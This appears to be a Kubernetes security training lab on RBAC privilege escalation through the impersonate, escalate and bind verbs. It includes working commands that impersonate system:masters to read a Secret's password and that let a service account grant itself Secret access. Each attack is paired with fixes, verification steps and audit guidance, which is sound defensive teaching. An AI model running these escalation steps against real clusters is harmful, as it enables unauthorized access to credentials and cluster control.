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Hands-on IT IT Drills

Day 3: Impersonation, escalate and bind

Goal: You abuse three quiet RBAC permissions for privilege escalation – and shut them off. · Duration: approx. 75 min · Prerequisite: Day 2

Briefing

Three RBAC verbs look harmless and are not: impersonate lets you act as someone else – all the way up to the group system:masters, the built-in cluster-admin. escalate overrides the protection that prevents you from giving yourself more permissions. bind allows you to assign a role that you do not hold yourself. None of them ever belongs to a workload.

Drill 1: The misconfiguration – impersonate

kubectl -n shop create secret generic db-credentials \
  --from-literal=password=S3cr3t-lab-pw

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: impersonator
rules:
- apiGroups: [""]
  resources: ["users","groups","serviceaccounts"]
  verbs: ["impersonate"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-impersonator
subjects:
- kind: ServiceAccount
  name: default
  namespace: attacker
roleRef:
  kind: ClusterRole
  name: impersonator
  apiGroup: rbac.authorization.k8s.io
EOF

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Drill 2: Exploit – act as cluster-admin

You yourself are not allowed to read Secrets. But you are allowed to pretend to be someone who is. For this, the API knows the headers Impersonate-User and Impersonate-Group. The group system:masters is hard-wired to cluster-admin in the kube-apiserver:

kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $TOKEN" \
  -H "Impersonate-User: nobody" \
  -H "Impersonate-Group: system:masters" \
  https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
  | grep -oE "\"password\": *\"[^\"]*\"" \
  | sed -E "s/.*\"password\": *\"//;s/\"//" | base64 -d; echo'

Expected:

S3cr3t-lab-pw

A pod without any Secret permissions of its own reads the password – because it is allowed to pose as the all-powerful group. impersonate on groups is effectively cluster-admin.

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Drill 3: Fix – revoke impersonate

kubectl delete clusterrolebinding attacker-impersonator
kubectl delete clusterrole impersonator

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Drill 4: Proof

kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
  -H "Impersonate-User: nobody" -H "Impersonate-Group: system:masters" \
  https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'

Expected:

403

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Drill 5: escalate and bind – the self-service store

RBAC has a built-in protection: you cannot create a role that is allowed to do more than you yourself have. Build a ServiceAccount that may manage roles – nothing else:

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: rbac-manager, namespace: attacker}
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["roles","rolebindings"]
  verbs: ["create","get","list","update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: rbac-manager, namespace: attacker}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: rbac-manager, apiGroup: rbac.authorization.k8s.io}
EOF

Now try to write yourself Secret permissions:

kubectl create role self-secrets --verb=get --resource=secrets \
  --as=system:serviceaccount:attacker:default -n attacker

Expected:

Error from server (Forbidden): roles.rbac.authorization.k8s.io "self-secrets" is
forbidden: user "system:serviceaccount:attacker:default" ... is attempting to grant
RBAC permissions not currently held:
{APIGroups:[""], Resources:["secrets"], Verbs:["get"]}

The protection kicks in. It falls the moment someone gives the account escalate (create a role with more permissions) and bind (assign someone else’s role):

kubectl patch role rbac-manager -n attacker --type=json -p='[{"op":"add","path":"/rules/-","value":{"apiGroups":["rbac.authorization.k8s.io"],"resources":["roles","rolebindings"],"verbs":["escalate","bind"]}}]'

kubectl create role self-secrets --verb=get,list --resource=secrets \
  --as=system:serviceaccount:attacker:default -n attacker
kubectl create rolebinding self-secrets --role=self-secrets \
  --serviceaccount=attacker:default \
  --as=system:serviceaccount:attacker:default -n attacker
kubectl auth can-i list secrets --as=system:serviceaccount:attacker:default -n attacker

Expected:

role.rbac.authorization.k8s.io/self-secrets created
rolebinding.rbac.authorization.k8s.io/self-secrets created
yes

With escalate+bind, the account writes itself the permissions. That is why these verbs belong only in the hands of real administrators. Clean up:

kubectl -n attacker delete rolebinding rbac-manager self-secrets
kubectl -n attacker delete role rbac-manager self-secrets

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Checkpoint

No workload may impersonate:

kubectl auth can-i impersonate groups --as=system:serviceaccount:attacker:default

Expected: no

The escalation protection is active (the account cannot write itself Secret permissions):

kubectl auth can-i escalate roles --as=system:serviceaccount:attacker:default -n attacker

Expected: no

Challenge

Find every account in the cluster that is allowed to impersonate – that is one of the most dangerous findings of all.

Hint: kubectl get clusterroles -o json contains the rules; filter by the verb.

Solution

kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
    for rule in r.get("rules") or []:
        if "impersonate" in (rule.get("verbs") or []):
            print(r["metadata"]["name"], rule.get("resources"))'

Expected: system roles such as system:controller:.... Every role of your own with impersonate is an audit finding.

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Enterprise Note

  • impersonate, escalate, bind only for administrators, never for workloads or CI SAs.
  • system:masters bypasses RBAC completely and shows up in audit logs as a normal request – impersonation is therefore hard to detect. Audit logging is mandatory: the kube-apiserver records impersonatedUser in the audit event.
  • In RKE2, enable the audit log (audit-policy-file in the kube-apiserver config) and alert on "impersonatedUser".
  • Kyverno can block RBAC objects with impersonate/escalate on the admission side (Day 12).